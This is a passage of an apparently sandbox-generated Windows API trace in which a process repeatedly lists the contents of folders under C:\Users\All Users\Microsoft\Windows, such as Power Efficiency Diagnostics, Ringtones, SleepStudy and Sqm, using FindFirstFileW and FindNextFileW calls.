ftLastWriteTime.dwLowDateTime=0xd2c3a2, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.593] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd2c3a2, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd2c3a2, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0222.593] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0222.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe110) returned 1 [0222.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe0d0) returned 1 [0222.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbe9a0) returned 1 [0222.593] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics", nBufferLength=0x105, lpBuffer=0x1afbe480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics", lpFilePart=0x0) returned 0x41 [0222.593] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\*"), lpFindFileData=0x1afbe6b0 | out: lpFindFileData=0x1afbe6b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x70df061a, ftLastAccessTime.dwHighDateTime=0x1d7b05a, ftLastWriteTime.dwLowDateTime=0x70ec73ad, ftLastWriteTime.dwHighDateTime=0x1d7b05a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0222.596] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x70df061a, ftLastAccessTime.dwHighDateTime=0x1d7b05a, ftLastWriteTime.dwLowDateTime=0x70ec73ad, ftLastWriteTime.dwHighDateTime=0x1d7b05a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.596] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6378b10e, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x6378b10e, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x636a2ee1, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x4c42, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-report-2021-02-17.xml", cAlternateFileName="ENERGY~2.XML")) returned 1 [0222.596] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70df061a, ftCreationTime.dwHighDateTime=0x1d7b05a, ftLastAccessTime.dwLowDateTime=0x70df061a, ftLastAccessTime.dwHighDateTime=0x1d7b05a, ftLastWriteTime.dwLowDateTime=0x70d6c89f, ftLastWriteTime.dwHighDateTime=0x1d7b05a, nFileSizeHigh=0x0, nFileSizeLow=0x3cdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-report-2021-09-23.xml", cAlternateFileName="ENERGY~3.XML")) returned 1 [0222.596] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6369e20c, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x6369e20c, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x70d6c89f, ftLastWriteTime.dwHighDateTime=0x1d7b05a, nFileSizeHigh=0x0, nFileSizeLow=0x3cdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-report-latest.xml", cAlternateFileName="ENERGY~1.XML")) returned 1 [0222.596] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6397363f, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x6397363f, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x70ebeaf3, ftLastWriteTime.dwHighDateTime=0x1d7b05a, nFileSizeHigh=0x0, nFileSizeLow=0x373f, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-report.html", cAlternateFileName="ENERGY~1.HTM")) returned 1 [0222.597] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0222.597] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0222.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe8d0) returned 1 [0222.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe890) returned 1 [0222.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbe9a0) returned 1 [0222.598] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics", nBufferLength=0x105, lpBuffer=0x1afbe480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics", lpFilePart=0x0) returned 0x41 [0222.598] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\*"), lpFindFileData=0x1afbe6b0 | out: lpFindFileData=0x1afbe6b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x70df061a, ftLastAccessTime.dwHighDateTime=0x1d7b05a, ftLastWriteTime.dwLowDateTime=0x70ec73ad, ftLastWriteTime.dwHighDateTime=0x1d7b05a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0222.599] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x70df061a, ftLastAccessTime.dwHighDateTime=0x1d7b05a, ftLastWriteTime.dwLowDateTime=0x70ec73ad, ftLastWriteTime.dwHighDateTime=0x1d7b05a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.599] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6378b10e, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x6378b10e, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x636a2ee1, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x4c42, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-report-2021-02-17.xml", cAlternateFileName="ENERGY~2.XML")) returned 1 [0222.599] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70df061a, ftCreationTime.dwHighDateTime=0x1d7b05a, ftLastAccessTime.dwLowDateTime=0x70df061a, ftLastAccessTime.dwHighDateTime=0x1d7b05a, ftLastWriteTime.dwLowDateTime=0x70d6c89f, ftLastWriteTime.dwHighDateTime=0x1d7b05a, nFileSizeHigh=0x0, nFileSizeLow=0x3cdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-report-2021-09-23.xml", cAlternateFileName="ENERGY~3.XML")) returned 1 [0222.599] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6369e20c, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x6369e20c, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x70d6c89f, ftLastWriteTime.dwHighDateTime=0x1d7b05a, nFileSizeHigh=0x0, nFileSizeLow=0x3cdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-report-latest.xml", cAlternateFileName="ENERGY~1.XML")) returned 1 [0222.600] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6397363f, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x6397363f, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x70ebeaf3, ftLastWriteTime.dwHighDateTime=0x1d7b05a, nFileSizeHigh=0x0, nFileSizeLow=0x373f, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-report.html", cAlternateFileName="ENERGY~1.HTM")) returned 1 [0222.600] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6397363f, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x6397363f, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x70ebeaf3, ftLastWriteTime.dwHighDateTime=0x1d7b05a, nFileSizeHigh=0x0, nFileSizeLow=0x373f, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-report.html", cAlternateFileName="ENERGY~1.HTM")) returned 0 [0222.600] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0222.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe8d0) returned 1 [0222.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe890) returned 1 [0222.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbe9a0) returned 1 [0222.601] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones", nBufferLength=0x105, lpBuffer=0x1afbe480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones", lpFilePart=0x0) returned 0x2e [0222.601] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\*"), lpFindFileData=0x1afbe6b0 | out: lpFindFileData=0x1afbe6b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0222.601] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.601] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0222.602] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0222.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe8d0) returned 1 [0222.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe890) returned 1 [0222.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbe9a0) returned 1 [0222.602] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones", nBufferLength=0x105, lpBuffer=0x1afbe480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones", lpFilePart=0x0) returned 0x2e [0222.602] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\*"), lpFindFileData=0x1afbe6b0 | out: lpFindFileData=0x1afbe6b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b90 [0222.602] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.602] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0222.603] FindClose (in: hFindFile=0x1d1f5b90 | out: hFindFile=0x1d1f5b90) returned 1 [0222.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe8d0) returned 1 [0222.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe890) returned 1 [0222.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbe9a0) returned 1 [0222.603] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\SleepStudy", nBufferLength=0x105, lpBuffer=0x1afbe480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\SleepStudy", lpFilePart=0x0) returned 0x2f [0222.603] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\SleepStudy\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\sleepstudy\\*"), lpFindFileData=0x1afbe6b0 | out: lpFindFileData=0x1afbe6b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d02c647, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x3d02c647, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x3d02c647, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b90 [0222.604] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d02c647, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x3d02c647, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x3d02c647, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.604] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d02c647, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x3d02c647, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x3d02c647, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0222.604] FindClose (in: hFindFile=0x1d1f5b90 | out: hFindFile=0x1d1f5b90) returned 1 [0222.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe8d0) returned 1 [0222.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe890) returned 1 [0222.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbe9a0) returned 1 [0222.604] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\SleepStudy", nBufferLength=0x105, lpBuffer=0x1afbe480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\SleepStudy", lpFilePart=0x0) returned 0x2f [0222.604] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\SleepStudy\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\sleepstudy\\*"), lpFindFileData=0x1afbe6b0 | out: lpFindFileData=0x1afbe6b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d02c647, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x3d02c647, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x3d02c647, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0222.605] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d02c647, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x3d02c647, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x3d02c647, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.605] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d02c647, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x3d02c647, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x3d02c647, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0222.605] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0222.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe8d0) returned 1 [0222.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe890) returned 1 [0222.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbe9a0) returned 1 [0222.605] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm", nBufferLength=0x105, lpBuffer=0x1afbe480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm", lpFilePart=0x0) returned 0x28 [0222.605] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\sqm\\*"), lpFindFileData=0x1afbe6b0 | out: lpFindFileData=0x1afbe6b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b90 [0222.606] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.607] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manifest", cAlternateFileName="")) returned 1 [0222.607] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sessions", cAlternateFileName="")) returned 1 [0222.607] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Upload", cAlternateFileName="")) returned 1 [0222.607] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Upload", cAlternateFileName="")) returned 0 [0222.607] FindClose (in: hFindFile=0x1d1f5b90 | out: hFindFile=0x1d1f5b90) returned 1 [0222.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe8d0) returned 1 [0222.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe890) returned 1 [0222.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbe9a0) returned 1 [0222.607] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm", nBufferLength=0x105, lpBuffer=0x1afbe480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm", lpFilePart=0x0) returned 0x28 [0222.607] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\sqm\\*"), lpFindFileData=0x1afbe6b0 | out: lpFindFileData=0x1afbe6b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b90 [0222.608] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.608] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manifest", cAlternateFileName="")) returned 1 [0222.608] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbe670 | out: 